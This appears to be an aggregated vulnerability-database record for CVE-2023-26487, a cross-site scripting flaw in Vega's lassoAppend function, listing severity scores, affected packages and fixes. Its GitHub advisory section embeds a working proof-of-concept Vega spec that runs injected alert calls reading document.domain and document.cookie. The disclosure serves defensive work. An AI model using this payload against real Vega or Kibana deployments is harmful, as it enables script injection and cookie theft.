{"id":"CVE-2023-26487","aliases":["DEBIAN-CVE-2023-26487","GHSA-w5m3-xh75-mp55"],"summary":"Vega has cross-site scripting vulnerability in `lassoAppend` function","published_at":"2023-03-02T23:08:21Z","modified_at":"2026-10-26T18:00:40.946561Z","products":[{"slug":"rhel","name":"Red Hat Enterprise Linux","category":"red-hat"},{"slug":"elasticsearch","name":"Elasticsearch / Kibana","category":"monitoring"}],"rating":{"severity":"medium","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Moderate","vendor_ratings":[{"source":"Red Hat","rating":"Moderate"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.008059999905526638,"percentile":0.5757700204849243,"date":"2026-11-19T00:00:00Z"},"priority":8.5,"details":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs.`lassoAppend' function accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced. This makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`). The issue is that`lassoAppend` doesn't enforce proper types of its arguments. This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality). This issue was patched in 5.23.0.","affected_stack":[{"ecosystem":"Red Hat:openshift:3.11","package":"kibana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2023-26487","relation":"self"}],"affected_other":[{"ecosystem":"CVE","package":"vega/vega","versions":["< 5.23.0"],"provider":"cvelistv5","source":"CVE-2023-26487","relation":"self"},{"ecosystem":"Debian:12","package":"vega.js","purl":"pkg:deb/debian/vega.js?arch=source&distro=bookworm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.22.1+ds+~3.1.0-4","5.25.0+ds+~cs5.3.0-1","5.25.0+ds+~cs5.3.0-2","5.25.0+ds+~cs5.3.0-3","5.25.0+ds+~cs5.3.0-4","5.25.0+ds+~cs5.3.0-5","5.28.0+ds+~cs5.3.0-1","5.28.0+ds+~cs5.3.0-2","5.28.0+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-1","5.33.1+ds+~cs5.3.0-2","5.33.1+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-4"],"provider":"osv","source":"DEBIAN-CVE-2023-26487","relation":"self"},{"ecosystem":"Debian:13","package":"vega.js","purl":"pkg:deb/debian/vega.js?arch=source&distro=trixie","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.25.0+ds+~cs5.3.0-1"}]}],"fixed":["5.25.0+ds+~cs5.3.0-1"],"provider":"osv","source":"DEBIAN-CVE-2023-26487","relation":"self"},{"ecosystem":"Debian:14","package":"vega.js","purl":"pkg:deb/debian/vega.js?arch=source&distro=forky","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.25.0+ds+~cs5.3.0-1"}]}],"fixed":["5.25.0+ds+~cs5.3.0-1"],"provider":"osv","source":"DEBIAN-CVE-2023-26487","relation":"self"},{"ecosystem":"NVD","package":"vega-functions_project:vega-functions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.13.1"}]}],"fixed":["5.13.1"],"provider":"nvd","source":"CVE-2023-26487","relation":"self"},{"ecosystem":"NVD","package":"vega_project:vega","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.23.0"}]}],"fixed":["5.23.0"],"provider":"nvd","source":"CVE-2023-26487","relation":"self"},{"ecosystem":"npm","package":"vega","purl":"pkg:npm/vega","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.23.0"}]}],"fixed":["5.23.0"],"provider":"osv","source":"GHSA-w5m3-xh75-mp55","relation":"self"},{"ecosystem":"npm","package":"vega-functions","purl":"pkg:npm/vega-functions","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.13.1"}]}],"fixed":["5.13.1"],"provider":"osv","source":"GHSA-w5m3-xh75-mp55","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","cpe":"cpe:/a:redhat:logging:5","status":"not_affected","packages":["openshift-logging/cluster-logging-rhel8-operator","openshift-logging/kibana6-rhel8"],"package_count":2,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2023-26487"},{"vendor":"Red Hat","product":"Red Hat JBoss Fuse 6","cpe":"cpe:/a:redhat:jboss_fuse:6","status":"affected","packages":["kibana"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2023-26487"},{"vendor":"Red Hat","product":"Red Hat JBoss Fuse Service Works 6","cpe":"cpe:/a:redhat:jboss_fuse_service_works:6","status":"affected","packages":["kibana"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2023-26487"},{"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 3.11","cpe":"cpe:/a:redhat:openshift:3.11","status":"affected","packages":["kibana","openshift3/ose-logging-kibana5"],"package_count":2,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2023-26487"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2023-26487","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2023-26487","license":"CC-BY-4.0","published_at":"2023-03-03T23:47:28.486Z","modified_at":"2025-02-25T15:01:54.57Z","summary":"Vega has cross-site scripting vulnerability in `lassoAppend` function","details":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs.`lassoAppend' function accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced. This makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`). The issue is that`lassoAppend` doesn't enforce proper types of its arguments. This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality). This issue was patched in 5.23.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","source":"CVE-2023-26487"}],"affected":[{"ecosystem":"CVE","package":"vega/vega","versions":["< 5.23.0"],"provider":"cvelistv5","source":"CVE-2023-26487","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/vega/vega/security/advisories/GHSA-w5m3-xh75-mp55"},{"type":"WEB","url":"https://github.com/vega/vega/commit/01adb034f24727d3bb321bbbb6696a7f4cd91689"},{"type":"WEB","url":"https://github.com/vega/vega/releases/tag/v5.23.0"}]},{"provider":"nvd","source_id":"CVE-2023-26487","relation":"self","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26487","severity":[],"affected":[{"ecosystem":"NVD","package":"vega-functions_project:vega-functions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.13.1"}]}],"fixed":["5.13.1"],"provider":"nvd","source":"CVE-2023-26487","relation":"self"},{"ecosystem":"NVD","package":"vega_project:vega","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.23.0"}]}],"fixed":["5.23.0"],"provider":"nvd","source":"CVE-2023-26487","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"DEBIAN-CVE-2023-26487","relation":"self","url":"https://osv.dev/vulnerability/DEBIAN-CVE-2023-26487","published_at":"2023-03-04T00:15:15.563Z","modified_at":"2026-10-26T18:00:40.946561Z","details":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs.`lassoAppend' function accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced. This makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`). The issue is that`lassoAppend` doesn't enforce proper types of its arguments. This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality). This issue was patched in 5.23.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"DEBIAN-CVE-2023-26487"}],"affected":[{"ecosystem":"Debian:12","package":"vega.js","purl":"pkg:deb/debian/vega.js?arch=source&distro=bookworm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.22.1+ds+~3.1.0-4","5.25.0+ds+~cs5.3.0-1","5.25.0+ds+~cs5.3.0-2","5.25.0+ds+~cs5.3.0-3","5.25.0+ds+~cs5.3.0-4","5.25.0+ds+~cs5.3.0-5","5.28.0+ds+~cs5.3.0-1","5.28.0+ds+~cs5.3.0-2","5.28.0+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-1","5.33.1+ds+~cs5.3.0-2","5.33.1+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-4"],"provider":"osv","source":"DEBIAN-CVE-2023-26487","relation":"self"},{"ecosystem":"Debian:13","package":"vega.js","purl":"pkg:deb/debian/vega.js?arch=source&distro=trixie","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.25.0+ds+~cs5.3.0-1"}]}],"fixed":["5.25.0+ds+~cs5.3.0-1"],"provider":"osv","source":"DEBIAN-CVE-2023-26487","relation":"self"},{"ecosystem":"Debian:14","package":"vega.js","purl":"pkg:deb/debian/vega.js?arch=source&distro=forky","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.25.0+ds+~cs5.3.0-1"}]}],"fixed":["5.25.0+ds+~cs5.3.0-1"],"provider":"osv","source":"DEBIAN-CVE-2023-26487","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2023-26487"}]},{"provider":"osv","source_id":"GHSA-w5m3-xh75-mp55","relation":"self","url":"https://osv.dev/vulnerability/GHSA-w5m3-xh75-mp55","license":"CC-BY-4.0","published_at":"2023-03-02T23:08:21Z","modified_at":"2026-09-10T03:49:57.05422Z","summary":"Vega has Cross-site Scripting vulnerability in `lassoAppend` function","details":"### Summary\n\nVega's `lassoAppend` function: `lassoAppend` accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.\n\nThis makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`).\n\n### Details\nThe issue is that [`lassoAppend`](https://github.com/vega/vega/blob/7eafbbd4d53d0ce9f08e74ff96c90d411b1bb80a/packages/vega-functions/src/functions/lasso.js#L13) doesn't enforce proper types of its arguments:\n```js\n.....\nexport function lassoAppend(lasso, x, y, minDist = 5) {\n    const last = lasso[lasso.length - 1];\n\n    // Add point to lasso if distance to last point exceed minDist or its the first point\n    if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) > minDist) {\n        lasso.push([x, y]);\n.....\n```\n\n### PoC\n\nUse the following Vega snippet (depends on browser's non-built-in `event.view.setImmediate` function, feel free to replace with `event.view.console.log` or alike and observe the result in the browser's console)\n\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n  \"width\": 350,\n  \"height\": 350,\n  \"autosize\": \"none\",\n  \"description\": \"Toggle Button\",\n  \"signals\": [\n    {\n      \"name\": \"toggle\",\n      \"value\": false,\n      \"on\": [\n        {\n          \"events\": {\"type\": \"click\", \"markname\": \"circle\"},\n          \"update\": \"toggle ? false : true\"\n        }\n      ]\n    },\n    {\n      \"name\": \"addFilter\",\n      \"on\": [\n        {\n          \"events\": {\"type\": \"mousemove\", \"source\": \"window\"},\n          \"update\": \"lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')\"\n        }\n      ]\n    }\n  ],\n  \"marks\": [\n    {\n      \"name\": \"circle\",\n      \"type\": \"symbol\",\n      \"zindex\": 1,\n      \"encode\": {\n        \"enter\": {\n          \"y\": {\"signal\": \"height/2\"},\n          \"angle\": {\"value\": 0},\n          \"size\": {\"value\": 400},\n          \"shape\": {\"value\": \"circle\"},\n          \"fill\": {\"value\": \"white\"},\n          \"stroke\": {\"value\": \"white\"},\n          \"strokeWidth\": {\"value\": 2},\n          \"cursor\": {\"value\": \"pointer\"},\n          \"tooltip\": {\"signal\": \"{Tip: 'Click to fire XSS'}\"}\n        },\n        \"update\": {\"x\": {\"signal\": \"toggle === true ? 190 : 165\"}}\n      }\n    },\n    {\n      \"name\": \"rectangle\",\n      \"type\": \"rect\",\n      \"zindex\": 0,\n      \"encode\": {\n        \"enter\": {\n          \"x\": {\"value\": 152},\n          \"y\": {\"value\": 162.5},\n          \"width\": {\"value\": 50},\n          \"height\": {\"value\": 25},\n          \"cornerRadius\": {\"value\": 20}\n        },\n        \"update\": {\n          \"fill\": {\"signal\": \"toggle === true ? '#006BB4' : '#939597'\"}\n        }\n      }\n    }\n  ]\n}\n```\n\n### Impact\nThis issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"GHSA-w5m3-xh75-mp55"}],"affected":[{"ecosystem":"npm","package":"vega","purl":"pkg:npm/vega","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.23.0"}]}],"fixed":["5.23.0"],"provider":"osv","source":"GHSA-w5m3-xh75-mp55","relation":"self"},{"ecosystem":"npm","package":"vega-functions","purl":"pkg:npm/vega-functions","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.13.1"}]}],"fixed":["5.13.1"],"provider":"osv","source":"GHSA-w5m3-xh75-mp55","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/vega/vega/security/advisories/GHSA-w5m3-xh75-mp55"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26487"},{"type":"WEB","url":"https://github.com/vega/vega/commit/01adb034f24727d3bb321bbbb6696a7f4cd91689"},{"type":"PACKAGE","url":"https://github.com/vega/vega"},{"type":"WEB","url":"https://github.com/vega/vega/releases/tag/v5.23.0"}]},{"provider":"redhat-vex","source_id":"CVE-2023-26487","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2023-26487","license":"CC-BY-4.0","published_at":"2023-05-03T00:00:00Z","modified_at":"2023-07-21T22:26:23Z","summary":"kibana: xss in custom visualizations","details":"A flaw was found in one of Kibana’s dependencies. This flaw allows an attacker to perform Cross-site scripting (XSS) after loading a maliciously crafted custom visualization in Kibana.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","source":"CVE-2023-26487"},{"type":"Red Hat","score":"Moderate","source":"CVE-2023-26487"}],"affected":[{"ecosystem":"Red Hat:openshift:3.11","package":"kibana","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"provider":"redhat-vex","source":"CVE-2023-26487","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","cpe":"cpe:/a:redhat:logging:5","status":"not_affected","packages":["openshift-logging/cluster-logging-rhel8-operator","openshift-logging/kibana6-rhel8"],"package_count":2,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2023-26487"},{"vendor":"Red Hat","product":"Red Hat JBoss Fuse 6","cpe":"cpe:/a:redhat:jboss_fuse:6","status":"affected","packages":["kibana"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2023-26487"},{"vendor":"Red Hat","product":"Red Hat JBoss Fuse Service Works 6","cpe":"cpe:/a:redhat:jboss_fuse_service_works:6","status":"affected","packages":["kibana"],"package_count":1,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2023-26487"},{"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 3.11","cpe":"cpe:/a:redhat:openshift:3.11","status":"affected","packages":["kibana","openshift3/ose-logging-kibana5"],"package_count":2,"fixed":[],"advisories":[],"note":"Out of support scope","provider":"redhat-vex","source":"CVE-2023-26487"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2023/cve-2023-26487.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-26487"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2190159"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2023-26487"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26487"},{"type":"WEB","url":"https://discuss.elastic.co/t/kibana-8-7-7-17-security-update/330863"}]}],"references":[{"type":"WEB","url":"https://github.com/vega/vega/security/advisories/GHSA-w5m3-xh75-mp55"},{"type":"WEB","url":"https://github.com/vega/vega/commit/01adb034f24727d3bb321bbbb6696a7f4cd91689"},{"type":"WEB","url":"https://github.com/vega/vega/releases/tag/v5.23.0"},{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2023-26487"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26487"},{"type":"PACKAGE","url":"https://github.com/vega/vega"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2023/cve-2023-26487.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2023-26487"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2190159"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2023-26487"},{"type":"WEB","url":"https://discuss.elastic.co/t/kibana-8-7-7-17-security-update/330863"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2023-26487","url":"https://www.cve.org/CVERecord?id=CVE-2023-26487","license":"CC-BY-4.0","modified_at":"2025-02-25T15:01:54.57Z","relation":"self"},{"provider":"nvd","source_id":"CVE-2023-26487","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26487","relation":"self"},{"provider":"osv","source_id":"DEBIAN-CVE-2023-26487","url":"https://osv.dev/vulnerability/DEBIAN-CVE-2023-26487","modified_at":"2026-10-26T18:00:40.946561Z","relation":"self"},{"provider":"osv","source_id":"GHSA-w5m3-xh75-mp55","url":"https://osv.dev/vulnerability/GHSA-w5m3-xh75-mp55","license":"CC-BY-4.0","modified_at":"2026-09-10T03:49:57.05422Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2023-26487","url":"https://access.redhat.com/security/cve/CVE-2023-26487","license":"CC-BY-4.0","modified_at":"2023-07-21T22:26:23Z","relation":"self"}]}
